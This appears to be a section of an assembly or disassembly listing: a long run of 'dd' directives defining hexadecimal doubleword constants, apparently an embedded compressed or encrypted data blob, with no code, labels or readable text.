		dd 52E7244Dh, 27AC3440h, 7AEB4700h, 0CC246211h,	25430174h
		dd 2F3F3007h, 0C81C5CCBh, 0F102BB1Fh, 59EE1803h, 0D761B0DBh
		dd 0C4D302AAh, 0EA7064F0h, 92500720h, 7D6305F6h, 0E16C9432h
		dd 0D86DECh, 0F89257A0h, 3399DEDh, 0A330E56Ah, 0A4C3CA76h
		dd 0D4A814A3h, 7C002815h, 0F0E0712Bh, 176A8B44h, 0C73C24B0h
		dd 611A5040h, 27180D62h
		dd 0ACA9D0B9h, 895001B6h, 0D4E68EC7h, 4C69C17Ah, 0E0811C1Ch
		dd 715C6Dh, 43B15590h, 0D284DEE8h, 3C4580Fh, 413F8662h
		dd 0B7A0638h, 9034B060h, 2A9F9D1Eh, 10D2A40Ch, 769B1765h
		dd 82ACD7BDh, 7F0392B6h, 2640C90Dh, 9E21288Eh, 0B630CCECh
		dd 10CA1921h, 0E6EA80AEh, 0A894F757h, 0C838C0h,	0C30B7CA5h
		dd 0AB13D304h, 213C08CCh, 0A5D0004Fh, 0DA7A0954h, 5D015569h
		dd 900D1E13h, 0B18C0AC0h, 6B71B754h, 0B5F9DE60h, 3EC2A86h
		dd 8F2162A3h, 180AE63Fh, 0E861F0C5h, 0FD925BC0h, 33552163h
		dd 0AD001391h, 0D0DE9262h, 6778A574h, 44C22F00h, 9EA963F0h
		dd 33E50064h, 54A05A0Dh, 94A0D87Bh, 5037300Bh, 6FC0A023h
		dd 3062D705h, 0EFD98BC8h, 0C57BDE44h, 4E11EE00h, 9946BC49h
		dd 5B2800E9h, 6B96FA67h, 5F18C6DCh, 73486CBAh, 48493BF1h
		dd 0C0C87400h, 0D703E29Dh, 0B4DCBA03h, 0E07A188Eh, 4A74B7E3h
		dd 0BE00C08Fh, 0F67FE703h, 44ADC100h, 2BA569D3h, 832CAAC7h
		dd 4EADA4Ch, 0A215C8B8h, 2E38912Ah, 1E87913h, 0AD56A832h
		dd 0BF060DAh, 0D819D8E5h, 151DFD61h, 0D4016644h, 4E0DAF58h
		dd 1F99CE1h, 0ECEACC40h, 2A83156Bh, 0E222D412h,	3C763F00h
		dd 225CCD68h, 6A15121Bh, 755B00B6h, 4AE6F053h, 0E005DF29h
		dd 7A10E700h, 0E86BD1D5h, 73EB1934h, 80190812h,	0D5622521h
		dd 18FD1AC0h, 0FC73C151h, 9A004787h, 495497E2h,	60C8DD98h
		dd 0FA3FE9D2h, 0A8035B29h, 50E50AFFh, 39E23054h, 2A021121h
		dd 7F00E3E6h, 594219FFh, 7215D667h, 376831F8h, 503FC829h
		dd 6362BAF0h, 0B9B0C600h, 2264A956h, 5EEE00DCh,	0FF4EACD2h
		dd 4B04717Eh, 2994980Bh, 0E965300h, 0D8A06045h,	5891F0ECh
		dd 4E806211h, 4D63FC92h, 0AA15448Ch, 0C2925507h, 87C0C5CCh
		dd 522D6EB8h, 8840E40Ah, 217906C0h, 0B18E5222h,	8088650Ch
		dd 48608825h, 1E8054F7h, 89F94181h, 0AC1D8801h,	938034F1h
		dd 48359820h, 5923E833h, 7EA5C600h, 8605730Bh, 3514044h
		dd 0B8A2A5CEh, 48F1EE56h, 0DCA0F696h, 0B035443h, 10A0CA49h
		dd 70096B8Eh, 90824CC1h, 0D00090C0h, 0C0376049h, 14E59D39h
		dd 2E26E6EFh, 0F429E40Fh, 6D1811F1h, 0A88A0307h, 30CA2F84h
		dd 1393A41Fh, 2129DC32h, 4DBC142Eh, 0E21432D4h,	8B3A3014h
		dd 784A733Dh, 71B869h, 6C1F1394h, 0D5080045h, 0CBB7F770h
		dd 34987550h, 0E1949E50h, 4900D890h, 0D852D926h, 0C021CBECh
		dd 0CC748441h, 3F70B1A0h, 28876C00h, 30A9F30Fh,	37610166h
		dd 0A16863F5h, 8A84506h, 0CED788h, 4FA85929h, 3C44860Bh
		dd 2A08001Fh, 0BA561197h, 0B0026631h, 6B255F7Ch, 0CFA8901Ch
		dd 93183B40h, 0A283EE80h, 22B010B9h, 0BF874607h, 99D0A6AFh
		dd 125049EFh, 0F3E56C6Ah, 0F3DA0450h, 0ECD0FEBCh, 26FA40F0h
		dd 389D2Fh, 441684AAh, 0AF95152Eh, 526609D8h, 4879704Ch
		dd 5605506Bh, 8ED6AF26h, 0C03A883Ch, 0FBD77E17h, 0F5B67A1Fh
		dd 0B7CE8505h, 1601BC02h, 80085C9Dh, 9FD280AAh,	7324F554h
		dd 900460CBh, 0F10CD594h, 0E4066104h, 1B080EA8h, 986409E0h
		dd 0D28FE3h, 0EC800771h, 6B543621h, 6046B889h, 1A43CF2Ch
		dd 0B096B00Bh, 0A5D75800h, 56BFD0ADh, 31EE0273h, 0C4F2FD09h
		dd 12E42465h, 0FFE78260h, 0FDA37D00h, 5C0CBDBFh, 9B5414A7h
		dd 4F2484DEh, 8B66117Ch, 63808252h, 447C4C6Dh, 59009E1Bh
		dd 9CBFA092h, 927A396h,	0D9340274h, 2E3D8205h, 142328h
		dd 1A496E2Fh, 0EC7CA87Fh, 401FDE14h, 0CE6C0FA8h, 2E6D00E2h
		dd 3ECA0EACh, 0DD00C87Bh, 0D57DAA46h, 0E4A8D6CBh, 81020306h
		dd 4C826F0Ch, 31DC80F2h, 0B2EDADC9h, 2084644h, 6BCED567h
		dd 10163112h, 1ED56F30h, 28D9554h, 85862257h, 93FC6460h
		dd 91BB4586h, 79850260h, 629682D5h, 320074C7h, 0D13D561h
		dd 0E80940B5h, 1037A826h, 0BE5518C1h, 481B92EFh, 0D328443Ch
		dd 82C80641h, 85C28ECh,	3E345DD4h, 826CDCAAh, 74216888h
		dd 3A2312F8h, 14423A4h,	1090995Dh, 0C2488339h, 0C963FBD8h
		dd 84413803h, 1F2F605Fh, 1FE5D078h, 0A9309848h,	0E00D7EADh
		dd 93951416h, 0DE8C4ECh, 1F02018Ch, 95C1B3A0h, 302A619Ah
		dd 6109F21Ch, 1091CB90h, 9DEA6FC4h, 0A050C491h,	10F3D4C9h
		dd 5DA2AC0Bh, 0E5266C03h, 0E4D50560h, 7B8C2E1h,	0F32B4A2h
		dd 0CC0C8760h, 0BCC2C84Bh, 0E43CE54Ah, 6E3F603Ch, 9CBE0092h
		dd 8FF87B28h, 5F26D173h, 0F3983078h, 4A2E5099h,	0C1FC400Dh
		dd 654775B8h, 0B70D405h, 0A8949260h, 0C101A008h, 0FDC5D57Eh
		dd 881A185Ah, 0D5006629h, 9BE95CE1h, 1832AA43h,	21236349h
		dd 0B1C02CCBh, 24077AE1h, 8DB9010Fh, 2B9E32C4h,	61F8E4B5h
		dd 7864A026h, 4808AA92h, 0A5426F4h, 805C112Eh, 0D74F81BAh
		dd 6B246160h, 9980F41Dh, 0C903F427h, 0D44007Eh,	2908ECD0h
		dd 0F905E60Ch, 2ECA9BB8h, 0E27B4BC0h, 0F8B00Fh,	0BA15C867h
		dd 0E4900CE6h, 50800850h, 23FC9900h, 0DFEA447Ah, 0E6BC259Dh
		dd 8CB3540Bh, 13E332E1h, 9790E7C0h, 0F166B9D7h,	8C65A830h
		dd 0F9924F04h, 54CE7563h, 9256A100h, 0A3546619h, 21EAC700h
		dd 0F5658386h, 7E0E2EADh, 97E482FCh, 94833D1Fh,	61C66BAFh
		dd 9332C802h, 6085D6D3h, 4AE8353h, 17D2681Bh, 1588827Ah
		dd 0F024D423h, 1B40BD0h, 0D2D85432h, 0BDF3AC26h, 42DF01B6h
		dd 522289A7h, 0EEF4403Bh, 0C87AD761h, 3B2598E8h, 6B20A262h
		dd 902E0FE9h, 0AC182CCCh, 7AAEC609h, 3C2888F5h,	5600F82Ch
		dd 717CB619h, 37A30089h, 7FA6DD3Fh, 0F000C1A9h,	0B5A52A77h
		dd 2B278D74h, 4B81F75h,	0FC82DE60h, 1506208Ch, 81E8DCAh
		dd 64A4DE24h, 29FD60DAh, 0F7A8234Eh, 12003811h,	26592A05h
		dd 240ECFF5h, 8C286322h, 0B85378D3h, 2D14680h, 0A84F29F6h
		dd 103B311Fh, 29FE15h, 0D811A43h, 8A6F4AE3h, 0D1DB3913h
		dd 2475D8F2h, 41100C2Eh, 0D879FE67h, 4D394319h,	9C22AAC4h
		dd 882B7D00h, 0CCDA20B4h, 0E390006Bh, 1575A668h, 64B86C92h
		dd 4DAADD00h, 0B6E69B0Fh, 0DC72E394h, 0F901CE23h, 17A85229h
		dd 16882718h, 3A2A0001h, 0E3B0FC70h, 72046E5Fh,	0B636AC0Ch
		dd 4604F8FDh, 80E06A58h, 0E3E68450h, 0C0D068C8h, 0A85029F7h
		dd 14802743h, 7B9529FFh, 36F14204h, 34908DF7h, 0F604B41Ch
		dd 0BED40E3Ah, 512729E5h, 0BC219CC8h, 0BD09F400h, 7731C914h
		dd 0CC8C3F65h, 6B2ECB81h, 3E440393h, 5B181040h,	1D4C7082h
		dd 341301Ch, 0E4A46ED7h, 9CC0F3E2h, 0E56AAB53h,	0D90A70D8h
		dd 27C4D0D8h, 56344C1h,	88CCBF00h, 0B600957Dh, 4EB1353h
		dd 2475D8ACh, 5E384919h, 33003A46h, 0FA18A3BBh,	5A0AD808h
		dd 0E0ADFD71h, 2E936690h, 3272308h, 352EB076h, 5BD931FFh
		dd 933C28A0h, 0C055D008h, 0B7AA5D2h, 0B02CD34Fh, 0A5DA0055h
		dd 0C1C0FFBBh, 33001E86h, 0F2DD9A54h, 2EEEB3FBh, 1F20E3E5h
		dd 0D0A0A0F3h, 288030DFh, 92B45A0Fh, 4847E3CCh,	22602544h
		dd 6B00EEE3h, 4D76A1DEh, 2C0C7511h, 5E544B54h, 28771946h
		dd 17F8E15Dh, 408EAB90h, 0F758CD30h, 74B88F91h,	818392E4h
		dd 14285BD6h, 46434417h, 0A123CB80h, 69B5B800h,	126EA2F3h
		dd 4AA5018Ah, 9392F452h, 6AA1F4F6h, 0A9915803h,	50AD3DEh
		dd 0FAB21648h, 1F9AC312h, 552E4875h, 9944248Ch,	3E84F320h
		dd 2C44184Eh, 0F212C60h, 874412AFh, 6660DB18h, 27CDC062h
		dd 74113A6Ah, 85C1860h
		dd 5D63FA92h, 0AC4F08C4h, 0B92892A0h, 970E034Fh, 461AB037h
		dd 307A7170h, 6BA82F6Ah, 6182DE73h, 0C42C8284h,	9008E44Ch
		dd 490992A3h, 0E4D84544h, 8A706013h, 6F370FB3h,	5C017EDh
		dd 0DA7550C7h, 60109E06h, 2078CBFBh, 0F3120B1Eh, 50906B15h
		dd 18E69FA9h, 883A3B96h, 44169B70h, 1003DD92h, 0E4FEDE7Dh
		dd 0D5E41C8Dh, 426B25C8h, 2600D416h, 0DC3CD565h, 2E900D1Fh
		dd 43002128h, 802E09FAh, 86BB4D1h, 465430A0h, 6857001Ah
		dd 0FC180A4Eh, 0C4F8A25Dh, 0F8E750C8h, 0A61C2E9h, 0CDE6790h
		dd 1C27F712h, 5B57E130h, 5EF9059Bh, 878A450Dh, 0B34EB730h
		dd 94F4DEAAh, 0F27CE240h, 0A8ED300Eh, 0EE0071FCh, 0A6D2B31h
		dd 0A873BAFCh, 0C565FB8h, 4653223Fh, 262E4991h,	113117E3h
		dd 30F1880Dh, 5C70D083h, 30222D8Fh, 464C9011h, 0A5D50262h
		dd 31DB0B79h, 0DD52103Eh, 893100A5h, 79AA46EBh,	80014032h
		dd 6F26ECF5h, 0C180166Bh, 36F08B6Ah, 850068FEh,	679419FFh
		dd 28ACC17h, 21A3FA16h,	2C58BD54h, 56E6ED14h, 0A5C98044h
		dd 4F7B0B7Dh, 4E042805h, 2088D16Eh, 915E351Eh, 22CB5AA4h
		dd 3B2048F8h, 0B17F70h,	183B91Ch, 2EA546A0h, 5C73B801h
		dd 2C302B6Fh, 94DF024h,	1D67DEA8h, 0F4B0A8A1h, 18A70795h
		dd 0DFD081AEh, 2082E6D7h, 2FB4B06Ah, 20BECC0Ah,	0F3EC51D0h
		dd 3DC8680Ah, 19B495C0h, 14563FA7h, 0BC98DD27h,	2260CBDBh
		dd 896809E1h, 2C860748h, 0D06E6BCAh, 0BF59AAE1h, 0EE5F2701h
		dd 72490F03h, 0E48774F8h, 0A2C62FDAh, 659A2840h, 24D4612Eh
		dd 7C607A16h, 4DDC0EA8h, 2410BC41h, 34AE04DFh, 66803F46h
		dd 7EA2AC1h, 5E69F2C3h,	3B92F287h, 0E482E071h, 0F431EB97h
		dd 9DC18474h, 36D4E1F8h, 9017E31Ch, 15F45872h, 98495320h
		dd 3167848h, 6994D0C8h,	52073447h, 0DE53CEEDh, 4F057F12h
		dd 0EED960BCh, 0C0BE9F3h, 0E0D17890h, 0B87D86A4h, 137504BCh
		dd 0C105CA4Ah, 10D46980h, 6067C7D0h, 681E7808h,	84A2333Bh
		dd 68B99044h, 0CB182579h, 4497B50Bh, 19B0901Dh,	75631C74h
		dd 6777C153h, 0E804CD2Ch, 9009EEE0h, 65F8279Ah,	6110E484h
		dd 0A3F42896h, 1424B4D6h, 5C0EBA0Ah, 8700FF86h,	33E56BDDh
		dd 0D9BD9500h, 0E4282B2Eh, 0B609C31h, 7497EDDEh, 2A803A91h
		dd 3EAE0E2h, 9E70A805h,	7CF0B2A4h, 68901999h, 0DC46602Fh
		dd 535BB75Bh, 38238C2Fh, 0B7AA7D00h, 9C44DD14h,	9F843A1Ch
		dd 547050D7h, 8C14B814h, 833BDC39h, 0CC50470Ch,	217102D7h
		dd 7EFD8C6Ch, 0AA163DC0h, 3D9C0E17h, 1B98C844h,	0D82A1CD0h
		dd 5C653515h, 88D48E39h, 239CC038h, 8D280FEAh, 0C94CD86Bh
		dd 0A9C48014h, 73088C5Ch, 0D2B238A3h, 0F9D65B00h, 1B548DC8h
		dd 7446F21Dh, 0D8524BC9h, 96E50DEFh, 72A03493h,	3039F2B0h
		dd 2705AB7Dh, 927047AFh, 0EFD920D0h, 0D7D017B0h, 0CC88E05Bh
		dd 0D2BB6B0Ah, 0F301F4E2h, 3167681Dh, 50009826h, 0AEC1F96Ah
		dd 0D205622Eh, 0F177D752h, 452204A2h, 72FF800h,	54560D75h
		dd 0B6BE7EDEh, 0A66C00DCh, 7E9B93F1h, 7BD7510Ah, 46912020h
		dd 28980B05h, 0A50CE035h, 7ACD65Dh, 9B66550Ah, 9CAC1A44h
		dd 0B7A1408Dh, 10B42170h, 23706821h, 303AF2F8h,	0F801862Ch
		dd 0BAEC5965h, 207DCC56h, 37AF1D00h, 57F56D78h,	0A0E0F37Dh
		dd 4C123C01h, 2C13E0CDh, 4EDBC070h, 23443B31h, 0FB4C0339h
		dd 70E1F46Bh, 80746053h, 2E2E2C43h, 0F897A7B8h,	3B801891h
		dd 0CBCF7455h, 0F51FB05h, 0C8061650h, 3D2830EAh, 297CB33Dh
		dd 0C21B8h, 0B649BAC1h,	0D0964415h, 90E400DCh, 8AC3004h
		dd 126267DFh, 40A09860h, 25E83D29h, 0C848C92Eh,	1B5D9002h
		dd 92A81200h, 1BF2F8A2h, 76621230h, 0BA8013DCh,	9F68DBB2h
		dd 0CFA47FC0h, 7D9A08h,	0AD854BEh, 182EE4ACh, 2CA4B4BEh
		dd 3E46B308h, 8B64631Eh, 0C4835AFh, 88924EF8h, 0D19AD31Eh
		dd 497FE680h, 122BFA26h, 20E77BBFh, 900BCFCCh, 70FF8000h
		dd 0A9135E0h, 0DA42560h, 0F0B0850h, 0FA9D1694h,	0DD750904h
		dd 0D0021083h, 3A191F1Bh, 0F4300B10h, 84B0D248h, 0C81318BAh
		dd 76078FA4h, 57C57FECh, 408CD1C2h, 98E456ACh, 0AC934810h
		dd 99017E22h, 4A7CCA46h, 56E2D16Bh, 1546762Ch, 0D5F28A00h
		dd 0EF3FCC09h, 77B7D113h, 0B8F13C87h, 0C20F9D2h, 0E7912296h
		dd 0F7D918C4h, 0E60C5628h, 0D90DEEA4h, 1E3088E5h, 22121C03h
		dd 0A29F2C5Fh, 0A39482BEh, 0EC461809h, 6391C894h, 78A5D480h
		dd 448CA30Bh, 0DC075341h, 20CB08A5h, 0BA765000h, 0BE90073h
		dd 151A871Ch, 48BC3C28h, 3D0F2E85h, 9DC78040h, 9ABBBAACh
		dd 20617AC0h, 0AA0B9133h, 686099C6h, 8045A330h,	2001F185h
		dd 8893DFF4h, 0CC643370h, 3A6D0050h, 3E187FA4h,	4104767Ch
		dd 70796027h, 70FCBDh, 0B5D71B4Ah, 3EF835D9h, 0E7EB40h
		dd 0CA2690C5h, 0DA8A4E3Dh, 0FAC9B404h, 58A45ACBh, 0D5063A9Eh
		dd 0FE7EA48Ch, 0E502EAB0h, 167A8620h, 4A906473h, 5C1040C8h
		dd 0ACCBAD45h, 539D1B00h, 5F2E0FD5h, 40BF488Eh,	4A0C0E11h
		dd 4440585Dh, 72D2E730h, 926500C2h, 42930229h, 0F258C841h
		dd 8CAB108Ch, 0A7B7080Eh, 0A0089095h, 750006A2h, 0DD51AFDAh
		dd 0D0652892h, 0E0F25F4h, 3A442064h, 46965B49h,	0C12ECBD0h
		dd 0C2288100h, 24FE4210h, 0A423580Bh, 1579AC00h, 0C9F9E35h
		dd 32349013h, 201A00B4h, 7032CA18h, 0D71ECh, 83874E7h
		dd 389DDA30h, 8022D860h, 7F20536Bh, 87C7041Ah, 806A8935h
		dd 0CEFCE3CCh, 133E58C4h, 6F197B40h, 68126205h,	14D144E3h
		dd 98001650h, 0B29D3190h, 68084064h, 102D1281h,	0EB382318h
		dd 0F285FCh, 37ACD638h,	0CC64697Eh, 0A8ACEDA0h,	58C44B8h
		dd 30282B40h, 4A8821D4h, 34882BFEh, 0B6AA8826h,	0A73CB725h
		dd 6B6804DCh, 648168EAh, 22D1BE72h, 0C45AC9D0h,	9EC073A8h
		dd 0FFD68D44h, 18B44170h, 40232F2Bh, 3FF9180Ch,	0EF6B61EAh
		dd 9FE44B07h, 0E9C66AB6h, 1C5F619h, 50F8875Ch, 60EC2628h
		dd 0C0A00703h, 6CACD1FAh, 0A6F08F1h, 7ACF61EEh,	0C90E940h
		dd 0B020B7ECh, 426C8E67h, 0E0900A45h, 3A47A43Bh, 0DE084F78h
		dd 589220A3h, 3EE288E3h, 52C5230h, 63536C79h, 78B8A416h
		dd 143ED342h, 0B2D0A455h, 543790FEh, 73F89Ch, 3D48CDF8h
		dd 9E270D32h, 396A413h,	15E2E4E2h, 60549E10h, 600B8167h
		dd 9F802E40h, 7C84E2BCh, 5A990ACCh, 91B4674Eh, 4043013Bh
		dd 0EAA55D7h, 64055872h, 91490B68h, 3FB2B6BCh, 0B0630C60h
		dd 0C4C8A888h, 0DC9795EDh, 6B803B11h, 0AD8C5320h, 0B162A700h
		dd 764D1365h, 797E14E6h, 49B1D44Eh, 6BEE00EBh, 0E90C03CEh
		dd 2E3CB069h, 84D18824h, 6A091B11h, 0AC0E14F7h,	0E21C3256h
		dd 16A47CDBh, 3E36AD02h, 2C8C825Ah, 9EDC99D5h, 0B804318Fh
		dd 0C18CC457h, 67F11E10h, 98D92630h, 5308602Ch,	0B177002Ah
		dd 0EE10BAF5h, 0C6D83412h, 361EACE8h, 75893CA9h, 3201FD13h
		dd 0F86AE5EDh, 0CA4E0506h, 0A49D1860h, 0E389A9Ah, 0F9B215F3h
		dd 0DC02C689h, 0F8AA024Ah, 90852729h, 0DA4C2053h, 224AA36Bh
		dd 0E8FDEC02h, 0C06C62F2h, 0DC6C77AAh, 64488958h, 730048DAh
		dd 0EF9B34D2h, 122E6238h, 8B9949ABh, 0C00EC81Ch, 5E100566h
		dd 38349379h, 5CD9A0D6h, 3ABCDC3Ch, 42ED038Ch, 39EE6CB1h
		dd 8C7C6392h, 94B4B040h, 1390006Dh, 478DA86Ah, 0E80069A3h
		dd 0D2926186h, 943D9D7h
		dd 3CA063FAh, 70524458h, 313DE244h, 2094F0A3h, 3403557Dh
		dd 45E12EC4h, 70CAE26Ch, 27C71608h, 835821C8h, 0D60D1062h
		dd 20E8980Ch, 442A1803h, 0E300C0ECh, 93C56BE6h,	3BE21BD0h
		dd 64064913h, 0B03EFCB8h, 43F86F13h, 0DAD5F821h, 347BCCh
		dd 6631C19Dh, 1D63F2FFh, 5C6B332Ch, 0A0F0DD47h,	17E67DCh
		dd 410509BCh, 0EC2DEEBDh, 0AE65EC54h, 18007098h, 0BBC8F80Fh
		dd 0DD7FCDh, 0B8A0C91Dh, 836C8F56h, 2F18C659h, 0DEE081FAh
		dd 62030DE7h, 0BEDA3F88h, 336A3C00h, 0CE99E5C5h, 79A90CC9h
		dd 0E3996408h, 3DCF040h, 0AD99CAF6h, 3EA05CC9h,	637DBF61h
		dd 604A680Bh, 0C6D40145h, 0E600441Fh, 0D62CACE3h, 4CABDC3Fh
		dd 2EE69D78h, 844F34Dh,	3B3D363Ch, 382F5F6Eh, 17001123h
		dd 0FA81AE8Fh, 885050CDh, 0CC1C40CFh, 3FE05A50h, 3B8144B6h
		dd 2E06F4C3h, 0FC9A1F8h, 75DA3D74h, 0F1C1232Eh,	20FDC7E8h
		dd 300FEF4h, 0AF99DC1h,	0A24904E3h, 81BC5198h, 0A85C29FBh
		dd 0B0AC3C07h, 12A0310h, 3F0AE966h, 0F42B49ADh,	0CB2DF48h
		dd 0B09FC86h, 0F2257028h, 880C0A28h, 498CDE68h,	73980502h
		dd 95940C5Ch, 206F2394h, 63FB1284h, 54CB25h, 5C9260A7h
		dd 7985A986h, 404269EFh, 9D0FE8DAh, 5FC8093Fh, 0C1B17E00h
		dd 3A4858h, 395338Eh, 47A85B64h, 0FFECC197h, 7CC0907Ch
		dd 4A6BC7D5h, 271B448Ch, 1DD56400h, 0C7375459h,	0BEA90A8Ch
		dd 2BD03F6Fh, 0B7320234h, 79120AD7h, 183979D0h,	146C000Dh
		dd 568B4A4Dh, 904DA064h, 0D7645034h, 464F341h, 9698100Ch
		dd 10D4486Bh, 0B0B0772h, 44253830h, 0E76C92EEh,	8E917320h
		dd 6E220A67h, 8820600Dh, 16BD06ABh, 0E490CBE7h,	0E3DBD7Eh
		dd 5ED0DAADh, 0C5480B72h, 0FC4AC65h, 0D035AE60h, 787D182Ch
		dd 1B137700h, 9DA5054h,	19FC531Eh, 1600D47Eh, 495C8F62h
		dd 0ACD7012Eh, 0C939710Eh, 642F6A8Eh, 0E9001323h, 6321272Fh
		dd 87D30F3Eh, 50A50496h, 6CD0E447h, 1BB3E300h, 0D7517865h
		dd 1C0C5CAFh, 13E6CBC4h, 370020F2h, 36CC76B3h, 7F6ECC3h
		dd 0B700C67Dh, 0FB869A96h, 0A8D5CBC2h, 0B5CC3A0h, 4231806Ch
		dd 8E421459h, 9A4600DEh, 0A00988A6h, 0AFAF13ACh, 0E03C09F4h
		dd 27FA6A18h, 0C4C5E9EDh, 75631BE4h, 44E462E8h,	854F6500h
		dd 8BC06A37h, 0EBF35CC5h, 7A88201Eh, 74905CA4h,	90001846h
		dd 0CAD77995h, 8D0CD04Ah, 0B82A7888h, 402F4BC8h, 0B7B20B40h
		dd 7600D610h, 0D47FA80h, 24F1CB4Ch, 8AC6B6Dh, 0D21AE54Fh
		dd 8648E48h, 0E1F1002Dh, 7D223F9Ah, 20F52401h, 10C58486h
		dd 3ABCF068h, 235E098Ch, 0A100CA6Ch, 0DE4B63DAh, 0ADEE131Dh
		dd 145FBE06h, 0D1E89188h, 2DF01810h, 9864B94Dh,	24603512h
		dd 98F89883h, 2E22278Dh, 80083353h, 52A83E18h, 0F3481FD7h
		dd 2143CD3Ch, 0E62CA802h, 7C64F80h, 0B06BEE58h,	68625394h
		dd 6F8E5F2Dh, 0FFEC4098h, 7301E0BCh, 94BBF2A0h,	1DC812FAh
		dd 0A482121Ah, 0FD40D0A6h, 0E099C4FBh, 2D180879h, 2787AC0Eh
		dd 50E7C478h, 0BB6B9380h, 70059F5Eh, 0BE14B0EEh, 68E83B2Dh
		dd 8032CB44h, 0EA50D2C5h, 0E640F48Ch, 0E4881035h, 78CB180Dh
		dd 0B6C72ED1h, 90628660h, 0AA4B4107h, 602384C9h, 40300EA2h
		dd 0A0B13DF7h, 58963438h, 410F249h, 0CCABC0Bh, 0B0791309h
		dd 0EE091D1Fh, 45D47204h, 36F897F0h, 0C4F6F0C1h, 23942E2Fh
		dd 5BCA0013h, 0F80BBB83h, 11D41606h, 28612044h,	0E8479Ch
		dd 0B522C65Ch, 0C91B2E15h, 0A0525712h, 0E2B63044h, 59196B06h
		dd 638C7DA0h, 64CF5201h, 31113B03h, 27F90CF4h, 0E082A053h
		dd 0B03EBC8h, 8B24EA60h, 3F1071C0h, 3FA840CEh, 0E827C040h
		dd 0D784D80Fh, 0A199E011h, 38C3EC5Ah, 1D01C874h, 206B489Fh
		dd 68456FD0h, 8C0BE6DEh, 0D9F49070h, 8DC1993h, 0F4C32CDDh
		dd 0D2F06D45h, 50C66527h, 93272098h, 9108979Dh,	71E48026h
		dd 60CC95B5h, 0E562192Bh, 0D000A976h, 0DD567AE2h, 0A1D6828Ah
		dd 0FC01EAA0h, 34EE00E6h, 6AED2788h, 2A581020h,	127F4E6Bh
		dd 23C42B00h, 272C978Eh, 0AABC169Eh, 803C870Ah,	0E6FD5775h
		dd 52200890h, 3E9916EBh, 0B124B64Bh, 0C9C84774h, 0C3450BBEh
		dd 0E418D136h, 3A0142C4h, 0DC253F7Fh, 257E792Ah, 23883AC4h
		dd 0DE6E0E12h, 0A702D9AEh, 58C06676h, 0AD80D458h, 52370026h
		dd 7AD6AC3Fh, 0C890797Ch, 70DED91Eh, 6A94C8E7h,	3141038Ah
		dd 0AA53CE4Bh, 18B29CF0h, 1EA3D38h, 0A0E4ADC0h,	48894DD2h
		dd 0CAF2505h, 631D444h,	0BB95AC8h, 0C208895h, 5047F049h
		dd 0FF5FD1A8h, 0D8186D6Ah, 58B9B844h, 66FB9900h, 806B0F1Ch
		dd 5CCEEB4Eh, 0D1C00EC8h, 9070E7ADh, 4F3F0008h,	2EE5EF15h
		dd 99DDF0Fh, 10F1A0h, 0FC69DA27h, 10008BEEh, 0FAF5199Ah
		dd 3437350Ch, 0C479E6E0h, 1090A9DAh, 66019380h,	0B49FB9F8h
		dd 10C46D46h, 0CC09147Fh, 0D423524Dh, 49051853h, 0CF98882Ah
		dd 48C66CA0h, 0DB189894h, 1702099h, 7951D103h, 9A54220Ah
		dd 5EC8DED8h, 7A050846h, 0C7AD8D96h, 0B6591028h, 0BC123695h
		dd 7829131Eh, 8C036460h, 0D3D57804h, 84BC6A6Bh,	0D56033B0h
		dd 0AD53B307h, 0D3A26235h, 70E0E963h, 18A86E7Bh, 0DA922F3Eh
		dd 0ABFD0966h, 44C01BBEh, 2627B098h, 6484E74Eh,	53D06026h
		dd 0CC2C0BA2h, 80A192C9h, 80237BBEh, 45BAC160h,	0BF96A44h
		dd 76049D3h, 0D201C064h, 0D6AB8F86h, 44012A81h,	0DC21801Eh
		dd 368004C0h, 0C9AE004Bh, 44777FC4h, 6B80D0BAh,	9768BEA3h
		dd 0D33CE415h, 0DA4EF042h, 0C0D78088h, 5CF269h,	0A806DE9Ch
		dd 8AFF6864h, 0CB40395h, 625104EDh, 0A895C8D6h,	0C0DB5E68h
		dd 0D5170780h, 0F13FFFDAh, 2A5A946Bh, 2FD62094h, 4847DE77h
		dd 641A64h, 3C2A8E3h, 1313ECDCh, 2C055A59h, 24B82C89h
		dd 0C8042A88h, 10F8EC46h, 0F8C37ECh, 0F184EB57h, 0FA8603C0h
		dd 0C72C756Ah, 4A4030CBh, 399622E0h, 0AD809B2Dh, 338F4692h
		dd 829FC184h, 817DA30h,	10E810E4h, 2E96F178h, 1423C0h
		dd 99B6281Bh, 3490C1FCh, 29518201h, 0E7C7DEA8h,	8C107C22h
		dd 0A42E9340h, 0DC003923h, 43ACFB9Dh, 5F5C9006h, 89F070CCh
		dd 0D8002514h, 63BA4005h, 4AFFA9h, 2A8EE837h, 168DC666h
		dd 316C6835h, 3AC868CBh, 7FC885C0h, 5DB700D1h, 0AA51592Fh
		dd 0B0949FB6h, 780CE14h, 67098F80h, 0BAB097A0h,	7FF8C04Ch
		dd 0F673DA9Ch, 892C770Eh, 46CB0033h, 914483AAh,	7D103038h
		dd 0F8026ACEh, 276FAFDAh, 678C4060h, 59528032h,	0D2E3B4BAh
		dd 58902D01h, 40F0006Bh, 1E0DDA2Eh, 5C93210Eh, 8BD604ACh
		dd 9E011CB8h, 556B35B5h, 5870AEF2h, 93D4F5DCh, 6BEE024Dh
		dd 0C5BBF9FEh, 465E585Eh, 0A4FE0519h, 64FC4345h, 8DD6A8C2h
		dd 48A714F0h, 8C600E44h, 0C1480964h, 8DDE05F4h,	4CB44461h
		dd 0A45F4CE9h, 0C6AC5E03h, 68041563h, 8285F0EFh, 0C05C04A8h
		dd 0F6BC3DC1h, 14446FB7h, 6009B312h, 54A1F002h,	0B4A09800h
		dd 0D7878029h, 62661400h, 0D641562Dh, 2A1F1C88h, 9EEFC168h
		dd 65793B84h, 4D10425Ch, 0EE3DDC80h, 36168BA4h,	0D420DBE8h
		dd 3A43B0E2h, 94176A4Eh, 0E1B0D295h, 0D82D859h,	0D26B9A30h
		dd 8B392FA0h, 0A057AC83h, 0C9ACA4C0h, 6AA11CFh,	4A80125Bh
		dd 80509293h, 400F3463h, 3B4E849Dh, 4838E020h, 3518C00Bh
		dd 0F0E2D59Fh, 45137501h, 0DF6B1CD9h, 1AFAA980h, 0B05682BBh
		dd 0EF024F02h, 57AA9B64h
		dd 550F8899h, 532C81F0h, 4067F1h, 0A9837C1Fh, 13B4D3C3h
		dd 0FCF118D5h, 8E3713F4h, 26B2B8A3h, 0E8B60530h, 2DEB7FB1h
		dd 3CC704F7h, 3BF44608h, 0D7521302h, 2C5CE8FBh,	53498847h
		dd 352DD0C4h, 0BC448004h, 0D010E52h, 0D57C90h, 4A6A9B65h
		dd 0B708C8EBh, 0F49EECB2h, 18E600DCh, 916133C3h, 0DE636C50h
